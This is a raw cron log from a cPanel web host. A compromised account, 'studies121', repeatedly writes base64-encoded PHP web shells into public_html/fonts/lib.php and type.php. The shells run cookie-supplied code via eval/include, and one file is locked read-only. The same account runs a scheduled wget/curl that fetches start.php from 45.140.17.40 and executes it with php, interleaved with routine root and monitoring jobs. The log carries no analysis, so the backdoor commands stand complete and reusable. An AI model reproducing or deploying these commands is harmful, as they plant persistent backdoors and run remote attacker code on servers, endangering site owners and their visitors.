Sep 20 17:34:01 ip-184-168-122-23 CROND[17731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:35:01 ip-184-168-122-23 CROND[18006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:35:01 ip-184-168-122-23 CROND[18008]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 17:35:01 ip-184-168-122-23 CROND[18012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:35:01 ip-184-168-122-23 CROND[18013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:35:01 ip-184-168-122-23 CROND[18015]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:35:01 ip-184-168-122-23 CROND[18014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 17:35:01 ip-184-168-122-23 CROND[18016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:35:01 ip-184-168-122-23 CROND[18017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:36:01 ip-184-168-122-23 CROND[18353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:36:01 ip-184-168-122-23 CROND[18355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:36:01 ip-184-168-122-23 CROND[18356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:36:01 ip-184-168-122-23 CROND[18358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:36:01 ip-184-168-122-23 CROND[18359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:37:01 ip-184-168-122-23 CROND[18601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:37:01 ip-184-168-122-23 CROND[18602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:37:01 ip-184-168-122-23 CROND[18603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:37:01 ip-184-168-122-23 CROND[18604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:38:01 ip-184-168-122-23 CROND[18844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:38:01 ip-184-168-122-23 CROND[18847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:38:01 ip-184-168-122-23 CROND[18848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:38:01 ip-184-168-122-23 CROND[18849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:38:01 ip-184-168-122-23 CROND[18846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:39:01 ip-184-168-122-23 CROND[19086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:39:01 ip-184-168-122-23 CROND[19088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:39:01 ip-184-168-122-23 CROND[19089]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 17:39:01 ip-184-168-122-23 CROND[19090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:39:01 ip-184-168-122-23 CROND[19092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:40:01 ip-184-168-122-23 CROND[19372]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:40:01 ip-184-168-122-23 CROND[19374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:40:01 ip-184-168-122-23 CROND[19375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:40:01 ip-184-168-122-23 CROND[19377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 17:40:01 ip-184-168-122-23 CROND[19376]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:40:01 ip-184-168-122-23 CROND[19380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:40:01 ip-184-168-122-23 CROND[19381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:40:01 ip-184-168-122-23 CROND[19383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:41:01 ip-184-168-122-23 CROND[19739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:41:01 ip-184-168-122-23 CROND[19741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:41:01 ip-184-168-122-23 CROND[19742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:41:01 ip-184-168-122-23 CROND[19744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:42:01 ip-184-168-122-23 CROND[20012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:42:01 ip-184-168-122-23 CROND[20014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:42:01 ip-184-168-122-23 CROND[20016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:42:01 ip-184-168-122-23 CROND[20015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:42:01 ip-184-168-122-23 CROND[20018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:43:01 ip-184-168-122-23 CROND[20266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:43:01 ip-184-168-122-23 CROND[20267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:43:01 ip-184-168-122-23 CROND[20268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:43:01 ip-184-168-122-23 CROND[20270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:44:01 ip-184-168-122-23 CROND[20515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:44:01 ip-184-168-122-23 CROND[20516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:44:01 ip-184-168-122-23 CROND[20519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:44:01 ip-184-168-122-23 CROND[20517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:44:01 ip-184-168-122-23 CROND[20518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:45:01 ip-184-168-122-23 CROND[20748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 17:45:01 ip-184-168-122-23 CROND[20749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 17:45:01 ip-184-168-122-23 CROND[20754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:45:01 ip-184-168-122-23 CROND[20752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 17:45:01 ip-184-168-122-23 CROND[20755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:45:01 ip-184-168-122-23 CROND[20753]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 17:46:01 ip-184-168-122-23 CROND[21005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 17:46:01 ip-184-168-122-23 CROND[21006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 17:46:01 ip-184-168-122-23 CROND[21009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 17:46:01 ip-184-168-122-23 CROND[21013]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
